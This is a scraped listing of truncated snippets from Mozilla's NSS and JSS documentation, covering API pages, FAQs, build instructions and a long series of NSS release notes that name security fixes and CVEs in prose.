addition to the above libraries) to compile programs using nspr mozilla-nspr-debuginfo : debug information (including build symbols) for package mozilla-nspr mozilla-nspr-debuginfo-32bit : debug information (including build symbols) for package mozilla-nspr-32bit mozilla-nspr-debugsource : debug sources for all of the above community view mozilla forums... mailing list
newsgroup rss feed related topics necko, nss ...
NSS CERTVerify Log
certverifylog all the nss verify functions except, the *verifynow() functions, take a parameter called 'certverifylog'. if you supply the log parameter, nss will continue chain validation after each error . the log tells you what the problem was with the chain and what certificate in the chain failed. to create a log: #include "secport.h" #include "certt.h" certverifylog *log; arena = port_
newarena(512); log = port_arenaz
new(arena,log); log->arena = arena; you can then pass this log into your favorite cert verify function. on return: log->count is the number of entries. log->head is the first entry; log->tail is the last entry. each entry is a certverifylognode. defined in certt.h: /* * this structure is used to keep a log of errors when verifying * a cert chain. this allows mul...
Certificate functions
mxr 3.2 and later cert_importcerts mxr 3.2 and later cert_isrootdercert mxr 3.8 and later cert_isusercert mxr 3.6 and later cert_keyfromdercrl mxr 3.4 and later cert_makecanickname mxr 3.4 and later cert_mergeextensions mxr 3.10 and later cert_nametoascii mxr 3.2 and later cert_
newcertlist mxr 3.2 and later cert_
newtempcertificate mxr 3.12 and later cert_nicknamestringsfromcertlist mxr 3.4 and later cert_opencertdbfilename mxr 3.2 and later cert_ocspcachesettings mxr 3.11.7 and later cert_pkixverifycert mxr 3.12 and later cert_removecertlistnode mxr 3.6 and later cert_rf...
NSS Code Coverage
if file was tested, link points to annotated source file (in tcov directory), otherwise to original source file (cvs directory). colors green: 70-100% of blocks tested. yellow: 40-70% of blocks tested. orange: 0-40% of blocks tested. red: file not tested. file is not part of any binary or library used by test suite. numbers in tested files example: 72.69% (165/227/731) 72.69% - ratio of tested blocks and total blocks in file (generated by tcov). ...
NSS FAQ
sed under an apache-style licence. nss supports both server and client applications as well as pkcs #11 and s/mime. to permit its use in as many contexts as possible, nss is licensed under the mozilla public license, version 2. how does nss compare to sslref? sslref was an early reference implementation of the ssl protocol. it contains bugs that were never fixed, doesn't support tls or or the
new 56-bit export cipher suites, and does not contain the fix to the bleichenbacher attack on pkcs#1. netscape no longer maintains sslref or makes it available. it was built as an example of an ssl implementation, not for creating production applications. nss was designed from the ground up for use by commercial developers. it provides a complete software development kit that uses the same architec...
HTTP delegation
erver encountered. nss might also choose to be simple, and request multiple objects for the same server. the application must support both strategies.) the logical http server session object is expected to remain valid until explicitly destroyed (sec_httpserver_freesessionfcn). should the application be unable to keep a physical connection alive all the time, the application is expected to create
new connections automatically. nss may choose to repeatedly call a "network connection keep alive" function (sec_httpserver_keepalivesessionfcn) on the server session object, giving application code a chance to do whatever is required. for each individual http request, nss will request the creation of a "http request object" (sec_httprequest_createfcn). no full uri is provided as a parameter. instead...
HTTP delegation
erver encountered. nss might also choose to be simple, and request multiple objects for the same server. the application must support both strategies.) the logical http server session object is expected to remain valid until explicitly destroyed (sec_httpserver_freesessionfcn). should the application be unable to keep a physical connection alive all the time, the application is expected to create
new connections automatically. nss may choose to repeatedly call a "network connection keep alive" function (sec_httpserver_keepalivesessionfcn) on the server session object, giving application code a chance to do whatever is required. for each individual http request, nss will request the creation of a "http request object" (sec_httprequest_createfcn). no full uri is provided as a parameter. instead...
Introduction to Network Security Services
shared libraries are standalone loadable modules, not meant to be linked with directly: libfort.so/libfort.sl/fort32.dll provides support for hardware fortezza. libswft.so/libswft.sl/swft32.dll provides support for software fortezza. libnssckbi.so/libnssckbi.sl/nssckbi.dll defines the default set of trusted root certificates. support for ilp32 in nss 3.2 and later versions, there are two
new shared libraries for the platforms hp-ux for parisc cpus and solaris for (ultra)sparc (not x86) cpus. these hp and solaris platforms allow programs that use the ilp32 program model to run on both 32-bit cpus and 64-bit cpus. the two libraries exist to provide optimal performance on each of the two types of cpus. these two extra shared libraries are not supplied on any other platforms. the names ...
Build instructions for JSS 4.3.x
install a java compiler and runtime. jss supports java version 1.5 or later. we suggest you use the latest. you must have perl version 5.005 or later. now you are ready to build jss. follow these steps: switch to the appropriate directory and check out jss from the root of your source tree. ...
JSS FAQ
does jss have 64 bit support? is jss fips compliant? is there any sample code and documentation? if i don't call setcipherpolicy, is the domestic policy used by default? my ssl connection is hanging on windows? how can i tell which ssl/tls ciphers jss supports? how can i debug my ssl connection? can you explain jss ssl certificate approval callbacks? can i have multiple jss instances reading separate db's? once jss initialized, i can't get anymore instances with certificatefactory.getinstance(x.509)? ...
Using JSS
gather components setup your runtime environment initialize jss in your application gather components you need the jss classes and the nspr, nss, and jss shared libraries. nspr and nss shared libraries jss uses the nspr and nss libraries for i/o and crypto. jss version 3.0 linked statically with nss, so it only required nspr. jss versions 3.1 and later link dynamically with nss, so they also require the nss shared libraries. the exact library names vary according to the convention for each platform. ...
JSS 4.4.0 Release Notes
introduction the java security services (jss) team has released jss 4.4.0, which is a minor release. distribution information the hg tag is jss_4_4_20170313. jss 4.4.0 requires netswork security services (nss) 3.29.1 and netscape portable runtime (nspr) 4.13.1 or
newer. jss 4.4.0 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/jss/releases/jss_4_4_0_rtm/src/
new in jss 4.40
new functionality
new functions
new macros notable changes in jss 4.40 picks up work done downstream for fedora and rhel and used by various linux distributions with includes:. support for ipv6. support for tls v1.1 and tls v1.2 via nss though jss. bugs fixed in jss 4.4.0 this bugzilla query retur...
NSS Memory allocation
nss makes extensive use of nspr's plarenapools for memory allocation. each block of memory allocated in a plarenapool is called a plarena. when a plarenapool is freed, all the arenas in that pool are put on an arena free list. when nss attempts to allocate more memory for an arena pool, the plarenapool code attempts to use an arena from its free list, and only gets a
new arena from the heap if there are no arenas in the free list that are large enough to satisfy the request. there are two consequences of the use of plarenapools that affect leak analysis. they are: 1. at the end of execution of a program, all the arenas in the free list will appear to have been leaked. this makes it difficult to tell arenas that are truly leaked from those that are merely in the free list. there is a f...
NSS 3.14.5 release notes
introduction network security services (nss) 3.14.5 is a patch release for nss 3.14. the bug fixes in nss 3.14.5 are described in the "bugs fixed" section below. distribution information the cvs tag is nss_3_14_5_rtm. nss 3.14.5 requires nspr 4.9.5 or
newer. nss 3.14.5 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_5_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.14.5. users are encouraged to upgrade immediately. bug 934016 - (cve-2013-5605) handle invalid handshake packets
new in nss 3.14.5
new functionality no
new major functionality is introduced in this release. this release is a patch release to add...
NSS 3.15.3.1 release notes
introduction network security services (nss) 3.15.3.1 is a patch release for nss 3.15. the bug fixes in nss 3.15.3.1 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_15_3_1_rtm. nss 3.15.3.1 requires nspr 4.10.2 or
newer. nss 3.15.3.1 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_3_1_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.3.1. users are encouraged to upgrade immediately. bug 946351 - misissued google certificates from dcssi
new in nss 3.15.3.1
new functionality no
new major functionality is introduced in this release. this is a patch release to revok...
NSS 3.16.2.2 release notes
introduction network security services (nss) 3.16.2.2 is a patch release for nss 3.16. the bug fixes in nss 3.16.2.2 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_16_2_2_rtm. nss 3.16.2.2 requires nspr 4.10.6 or
newer. nss 3.16.2.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_2_rtm/src/
new in nss 3.16.2.2
new functionality no
new functionality is introduced in this release. this is a patch release to fix a regression. notable changes in nss 3.16.2.2 bug 1049435: change rsa_privatekeycheck to not require p > q. this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some...
NSS 3.16.3 release notes
introduction network security services (nss) 3.16.3 is a patch release for nss 3.16. the bug fixes in nss 3.16.3 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_16_3_rtm. nss 3.16.3 requires nspr 4.10.6 or
newer. nss 3.16.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_3_rtm/src/
new in nss 3.16.3 this release consists primarily of ca certificate changes as listed below, and fixes an issue with a recently added utility function.
new functions in cert.h cert_getgeneralnametypefromstring - an utlity function to lookup a value of type certgeneralnametype given a human readable string. this function was alr...
NSS 3.16.4 release notes
introduction network security services (nss) 3.16.4 is a patch release for nss 3.16. the bug fixes in nss 3.16.4 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_16_4_rtm. nss 3.16.4 requires nspr 4.10.6 or
newer. nss 3.16.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_4_rtm/src/
new in nss 3.16.4 this release consists primarily of ca certificate changes as listed below, and includes a small number of bug fixes. notable changes in nss 3.16.4 the following 1024-bit root ca certificate was restored to allow more time to develop a better transition strategy for affected sites. it was removed in nss 3.16.3, but disc...
NSS 3.16.6 release notes
introduction network security services (nss) 3.16.6 is a patch release for nss 3.16. the bug fixes in nss 3.16.6 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_16_6_rtm. nss 3.16.6 requires nspr 4.10.6 or
newer. nss 3.16.6 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_6_rtm/src/
new in nss 3.16.6
new functionality no
new functionality is introduced in this release. this is a patch release to fix a regression. notable changes in nss 3.16.6 bug 1049435: change rsa_privatekeycheck to not require p > q. this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private key...
NSS 3.17.2 release notes
introduction network security services (nss) 3.17.2 is a patch release for nss 3.17. the bug fixes in nss 3.17.2 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_17_2_rtm. nss 3.17.2 requires nspr 4.10.7 or
newer. nss 3.17.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_2_rtm/src/
new in nss 3.17.2
new functionality no
new functionality is introduced in this release. this is a patch release to fix a regression and other bugs. notable changes in nss 3.17.2 bug 1049435: change rsa_privatekeycheck to not require p > q. this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa privat...
NSS 3.17.3 release notes
introduction network security services (nss) 3.17.3 is a patch release for nss 3.17. the bug fixes in nss 3.17.3 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_17_3_rtm. nss 3.17.3 requires nspr 4.10.7 or
newer. nss 3.17.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_3_rtm/src/
new in nss 3.17.3
new functionality support for tls_fallback_scsv has been added to the ssltap and tstclnt utilities. notable changes in nss 3.17.3 the quickder decoder now decodes lengths robustly (cve-2014-1569). the following ca certificates were removed cn = gte cybertrust global root sha1 fingerprint: ...
NSS 3.18.1 release notes
introduction network security services (nss) 3.18.1 is a patch release for nss 3.18. the bug fixes in nss 3.18.1 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_18_1_rtm. nss 3.18.1 requires nspr 4.10.8 or
newer. nss 3.18.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_1_rtm/src/
new in nss 3.18.1 no
new functionality is introduced in this release. this is a patch release to update the list of root ca certificates. notable changes in nss 3.18.1 the following ca certificate had the websites and code signing trust bits restored to their original state to allow more time to develop a better transition stra...
NSS 3.19.1 release notes
introduction network security services (nss) 3.19.1 is a security release for nss 3.19. the bug fixes in nss 3.19.1 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_19_1_rtm. nss 3.19.1 requires nspr 4.10.8 or
newer. nss 3.19.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_1_rtm/src/ security fixes in nss 3.19.1 bug 1138554 / cve-2015-4000 - the minimum strength of keys that libssl will accept for finite field algorithms (rsa, diffie-hellman, and dsa) have been increased to 1023 bits.
new in nss 3.19.1
new functionality no
new functionality is introduced in this release. this patch release includes a f...
NSS 3.19.2.3 release notes
duction network security services (nss) 3.19.2.3 is a security patch release for nss 3.19.2. the bug fixes in nss 3.19.2.3 are described in the "security fixes" section below. (current users of nss 3.19.3, nss 3.19.4 or nss 3.20.x are advised to update to nss 3.21.1, nss 3.22.2, or a later release.) distribution information the hg tag is nss_3_19_2_3_rtm. nss 3.19.2.3 requires nspr 4.10.10 or
newer. nss 3.19.2.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_3_rtm/src/
new in nss 3.19.2.3
new functionality no
new functionality is introduced in this release. security fixes in nss 3.19.2.3 bug 1245528 / cve-2016-1950 - fixed a heap-based buffer overflow r...
NSS 3.19.2.4 release notes
on network security services (nss) 3.19.2.4 is a security patch release for nss 3.19.2. the bug fixed in nss 3.19.2.4 have been described in the "security fixes" section below. (current users of nss 3.19.3, nss 3.19.4 or nss 3.20.x are advised to update to nss 3.21.1, nss 3.22.2 or a later release.) distribution information the hg tag is nss_3_19_2_4_rtm. nss 3.19.2.4 requires nspr 4.10.10 or
newer. nss 3.19.2.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_4_rtm/src/
new in nss 3.19.2.4
new functionality no
new functionality has been introduced in this release. security fixes in nss 3.19.2.4 the following security fixes from nss 3.21 have been backporte...
NSS 3.19.2 release notes
introduction network security services (nss) 3.19.2 is a patch release for nss 3.19 that addresses compatibility issues in nss 3.19.1. distribution information the hg tag is nss_3_19_2_rtm. nss 3.19.2 requires nspr 4.10.8 or
newer. nss 3.19.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_rtm/src/
new in nss 3.19.2
new functionality no
new functionality is introduced in this release. notable changes in nss 3.19.2 bug 1172128 - in nss 3.19.1, the minimum key sizes that the freebl cryptographic implementation (part of the softoken cryptographic module used by default by nss) was willing to generate or use was increased - for rsa keys, to 512 bits, ...
NSS 3.19.3 release notes
introduction network security services (nss) 3.19.3 is a patch release for nss 3.19. the bug fixes in nss 3.19.3 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_19_3_rtm. nss 3.19.3 requires nspr 4.10.8 or
newer. nss 3.19.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_3_rtm/src/
new in nss 3.19.3 no
new functionality is introduced in this release. this is a patch release to update the list of root ca certificates. notable changes in nss 3.19.3 the following ca certificates were removed cn = buypass class 3 ca 1 sha1 fingerprint: 61:57:3a:11:df:0e:d8:7e:d5:92:65:22:ea:d0:56:d7:44:b3:23:...
NSS 3.20.2 release notes
introduction network security services (nss) 3.20.2 is a security patch release for nss 3.20. the bug fixes in nss 3.20.2 are described in the "security fixes" section below. distribution information the hg tag is nss_3_20_2_rtm. nss 3.20.2 requires nspr 4.10.10 or
newer. nss 3.20.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_20_2_rtm/src/ security fixes in nss 3.20.2 bug 1158489 / cve-2015-7575 - prevent md5 downgrade in tls 1.2 signatures.
new in nss 3.20.2
new functionality no
new functionality is introduced in this release. acknowledgements the nss development team would like to thank karthikeyan bhargavan from inria for responsibly disclosi...
NSS 3.21.1 release notes
introduction network security services (nss) 3.21.1 is a security patch release for nss 3.21. the bug fixes in nss 3.21.1 are described in the "security fixes" section below. distribution information the hg tag is nss_3_21_1_rtm. nss 3.21.1 requires nspr 4.10.10 or
newer. nss 3.21.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_1_rtm/src/
new in nss 3.21.1
new functionality no
new functionality is introduced in this release. security fixes in nss 3.21.1 bug 1245528 / cve-2016-1950 - fixed a heap-based buffer overflow related to the parsing of certain asn.1 structures. an attacker could create a specially-crafted certificate which, when parsed by n...
NSS 3.21.2 release notes
introduction network security services (nss) 3.21.2 is a security patch release for nss 3.21.1. the bug fixes in nss 3.21.2 are described in the "security fixes" section below. distribution information the hg tag is nss_3_21_2_rtm. nss 3.21.2 requires nspr 4.10.10 or
newer. nss 3.21.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_2_rtm/src/
new in nss 3.21.2
new functionality no
new functionality is introduced in this release. security fixes in nss 3.21.2 bug 1293334 / cve-2016-9074 - fixed a timing side channel in the tls cbc code. compatibility nss 3.21.2 shared libraries are backward compatible with all older nss 3.x shared libraries. a pro...
NSS 3.21.3 release notes
introduction network security services (nss) 3.21.3 is a security patch release for nss 3.21.2. the bug fixes in nss 3.21.3 are described in the "security fixes" section below. distribution information the hg tag is nss_3_21_3_rtm. nss 3.21.3 requires nspr 4.10.10 or
newer. nss 3.21.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_3_rtm/src/
new in nss 3.21.3
new functionality no
new functionality is introduced in this release. security fixes in nss 3.21.3 bug 1306103 / cve-2016-5285 - fixed a possible dos on nss servers due to a missing null check. bug 1221620 - fixed a possible left-shift of a negative integer value when parsing der. bug 120628...
NSS 3.21.4 release notes
introduction network security services (nss) 3.21.4 is a security patch release for nss 3.21. the bug fixes in nss 3.21.4 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_21_4_rtm. nss 3.21.4 requires nspr 4.12 or
newer. nss 3.21.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_4_rtm/src/
new in nss 3.21.4 no
new functionality is introduced in this release. bugs fixed in nss 3.21.4 bug 1344380 / out-of-bounds write in base64 encoding in nss (cve-2017-5461) bug 1345089 / drbg flaw in nss (cve-2017-5462) acknowledgements the nss development team would like to thank ronald crane and vladimir klebanov for...
NSS 3.22.1 release notes
introduction network security services (nss) 3.22.1 is a patch release for nss 3.22. the bug fixes in nss 3.22.1 are described in the "notable changes" section below. distribution information the hg tag is nss_3_22_1_rtm. nss 3.22.1 requires nspr 4.12 or
newer. nss 3.22.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_1_rtm/src/
new in nss 3.22.1
new functionality no
new functionality is introduced in this release. notable changes in nss 3.22.1 bug 1194680: nss has been changed to use the pr_getenvsecure function that was made available in nspr 4.12 compatibility nss 3.22.1 shared libraries are backward compatible with all older nss 3.22 shared ...
NSS 3.22.2 release notes
introduction network security services (nss) 3.22.2 is a security patch release for nss 3.22. the bug fixes in nss 3.22.2 are described in the "security fixes" section below. distribution information the hg tag is nss_3_22_2_rtm. nss 3.22.2 requires nspr 4.12 or
newer. nss 3.22.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_2_rtm/src/
new in nss 3.22.2
new functionality no
new functionality is introduced in this release. security fixes in nss 3.22.2 bug 1245528 / cve-2016-1950 - fixed a heap-based buffer overflow related to the parsing of certain asn.1 structures. an attacker could create a specially-crafted certificate which, when parsed by n...
NSS 3.22.3 release notes
introduction network security services (nss) 3.22.3 is a patch release for nss 3.22. the bug fixes in nss 3.22.3 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_22_3_rtm. nss 3.22.3 requires nspr 4.12 or
newer. nss 3.22.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_3_rtm/src/
new in nss 3.22.3
new functionality no
new functionality is introduced in this release. bugs fixed in nss 3.22.3 bug 1243641 - increase compatibility of tls extended master secret, don't send an empty tls extension last in the handshake compatibility nss 3.22.3 shared libraries are backward compatible with all older nss 3.
NSS 3.23 release notes
introduction the nss team has released network security services (nss) 3.23, which is a minor release. distribution information the hg tag is nss_3_23_rtm. nss 3.23 requires nspr 4.12 or
newer. nss 3.23 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_23_rtm/src/
new in nss 3.23
new functionality chacha20/poly1305 cipher and tls cipher suites now supported (bug 917571, bug 1227905) experimental-only support tls 1.3 1-rtt mode (draft-11). this code is not ready for production use.
new functions in ssl.h ssl_setdowngradecheckversion - set maximum version for
new serverrandom anti-downgrade mechanism. clients that perform a version downgrad...
NSS 3.28.1 release notes
introduction network security services (nss) 3.28.1 is a patch release for nss 3.28. the bug fixes in nss 3.28.1 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_28_1_rtm. nss 3.28.1 requires nspr 4.13.1 or
newer. nss 3.28.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_1_rtm/src/
new in nss 3.28.1 no
new functionality is introduced in this release. this is a patch release to update the list of root ca certificates, and address a minor tls compatibility issue, that some applications experienced with nss 3.28. notable changes in nss 3.28.1 the following ca certificates were removed cn = buypass cla...
NSS 3.28.2 release notes
introduction network security services (nss) 3.28.2 is a patch release for nss 3.28. distribution information the hg tag is nss_3_28_2_rtm. nss 3.28.2 requires nspr 4.13.1 or
newer. nss 3.28.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_2_rtm/src/ incorrect version number note the version numbers embedded in the nss 3.28.2 are wrong (it reports itself as version 3.28.1).
new in nss 3.28.2 no
new functionality is introduced in this release. this is a patch release includes bug fixes and addresses some compatibility issues with tls. bugs fixed in nss 3.28.2 bug 1334114 - nss 3.28 regression in signature scheme flexibility, causes connectivi...
NSS 3.28.4 release notes
introduction network security services (nss) 3.28.4 is a security patch release for nss 3.28. the bug fixes in nss 3.28.4 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_28_4_rtm. nss 3.28.4 requires nspr 4.13.1 or
newer. nss 3.28.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_4_rtm/src/
new in nss 3.28.4 no
new functionality is introduced in this release. bugs fixed in nss 3.28.4 bug 1344380 / out-of-bounds write in base64 encoding in nss (cve-2017-5461) bug 1345089 / drbg flaw in nss (cve-2017-5462) bug 1342358 - crash in tls13_destroykeyshares acknowledgements the nss development team would lik...
NSS 3.28.5 release notes
introduction network security services (nss) 3.28.5 is a patch release for nss 3.28. the bug fixes in nss 3.28.5 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_28_5_rtm. nss 3.28.5 requires nspr 4.13.1 or
newer. nss 3.28.5 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_5_rtm/src/
new in nss 3.28.5 no
new functionality is introduced in this release. this is a patch release to update the list of root ca certificates. it backports the changes that were initially released in nss version 3.30.2. notable changes in nss 3.28.5 the following ca certificates were removed: o = japanese government, ou = app...
NSS 3.29.2 release notes
introduction network security services (nss) 3.29.2 is a patch release for nss 3.29. the bug fixes in nss 3.29.2 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_29_2_rtm. nss 3.29.2 requires netscape portable runtime (nspr) 4.13.1 or
newer. nss 3.29.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_29_2_rtm/src/
new in nss 3.29.2
new functionality no
new functionality is introduced in this release. bugs fixed in nss 3.29.2 nss 3.29 and 3.29.1 included a change that reduced the time that nss considered a tls session ticket to be valid. this release restores the session ticket lifetime to the intended value. see bug 134084...
NSS 3.29.3 release notes
introduction network security services (nss) 3.29.3 is a patch release for nss 3.29. the bug fixes in nss 3.29.3 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_29_3_rtm. nss 3.29.3 requires nspr 4.13.1 or
newer. nss 3.29.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_3_rtm/src/
new in nss 3.29.3 no
new functionality is introduced in this release. notable changes in nss 3.29.3 a rare crash when initializing an ssl socket fails has been fixed. bugs fixed in nss 3.29.3 bug 1342358 - crash in tls13_destroykeyshares compatibility nss 3.29.3 shared libraries are backward compatible with all older nss 3...
NSS 3.29.5 release notes
introduction network security services (nss) 3.29.5 is a security patch release for nss 3.29. the bug fixes in nss 3.29.5 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_29_5_rtm. nss 3.29.5 requires nspr 4.13.1 or
newer. nss 3.29.5 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_5_rtm/src/
new in nss 3.29.5 no
new functionality is introduced in this release. bugs fixed in nss 3.29.5 bug 1344380 / out-of-bounds write in base64 encoding in nss (cve-2017-5461) bug 1345089 / drbg flaw in nss (cve-2017-5462) acknowledgements the nss development team would like to thank ronald crane and vladimir klebanov f...
NSS 3.29 release notes
introduction the network security services (nss) team has released nss 3.29, which is a minor release. distribution information the hg tag is nss_3_29_rtm. nss 3.29 requires netscape portable runtime (nspr) 4.13.1 or
newer. nss 3.29 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_rtm/src/ notable changes in nss 3.29 fixed a nss 3.28 regression in the signature scheme flexibility that causes connectivity issues between ios 8 clients and nss servers with ecdsa certificates (bug1334114). tls 1.3 is now enabled by default in (bug1311296). bugs fixed in nss 3.29 this bugzilla query returns all the bugs fixed in nss 3.29: https://bugzilla.mozilla.org/bu...
NSS 3.30.1 release notes
introduction network security services (nss) 3.30.1 is a security patch release for nss 3.30. the bug fixes in nss 3.30.1 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_30_1_rtm. nss 3.30.1 requires nspr 4.14 or
newer. nss 3.30.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_1_rtm/src/
new in nss 3.30.1 no
new functionality is introduced in this release. bugs fixed in nss 3.30.1 bug 1344380 / out-of-bounds write in base64 encoding in nss (cve-2017-5461) acknowledgements the nss development team would like to thank ronald crane for responsibly disclosing the issue by providing advance copies of their...
NSS 3.30.2 release notes
introduction network security services (nss) 3.30.2 is a patch release for nss 3.30. the bug fixes in nss 3.30.2 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_30_2_rtm. nss 3.30.2 requires nspr 4.14 or
newer. nss 3.30.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_2_rtm/src/
new in nss 3.30.2 no
new functionality is introduced in this release. this is a patch release to update the list of root ca certificates. notable changes in nss 3.30.2 the following ca certificates were removed: o = japanese government, ou = applicationca sha-256 fingerprint: 2d:47:43:7d:e1:79:51:21:5a:12:f3:c5:8...
NSS 3.31.1 release notes
this is a draft document. this notice will be removed when completed. introduction the network security services (nss) team has released nss 3.31.1, which is a patch release for nss 3.31. distribution information the hg tag is nss_3_31_1_rtm. nss 3.31.1 requires netscape portable runtime (nspr) 4.15, or
newer. nss 3.31.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_31_1_rtm/src/
new in nss 3.31.1 no
new functionality is introduced in this release. bugs fixed in nss 3.31.1 bug 1381784 - potential deadlock when using an external pkcs#11 token. compatibility nss 3.31.1 shared libraries are backward compatible with all older nss 3.x shared librarie...
NSS 3.32 release notes
nss 3.32 source distributions are available on ftp.mozilla.org, for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_32_rtm/src/ notable changes in nss 3.32 various minor improvements and correctness fixes. ...
NSS 3.36.5 release notes
introduction network security services (nss) 3.36.5 is a patch release for nss 3.36. the bug fixes in nss 3.36.5 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_36_5_rtm. nss 3.36.5 requires nspr 4.19 or
newer. nss 3.36.5 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_5_rtm/src/
new in nss 3.36.5
new functionality no
new functionality is introduced in this release. this is a patch release to fix cve-2018-12384 bugs fixed in nss 3.36.5 bug 1483128 - nss responded to an sslv2-compatible clienthello with a serverhello that had an all-zero random (cve-2018-12384) compatibility nss 3.36.5 shared libraries ar...
NSS 3.36.6 release notes
introduction network security services (nss) 3.36.6 is a patch release for nss 3.36. the bug fixes in nss 3.36.6 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_36_6_rtm. nss 3.36.6 requires nspr 4.19 or
newer. nss 3.36.6 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_6_rtm/src/
new in nss 3.36.6
new functionality no
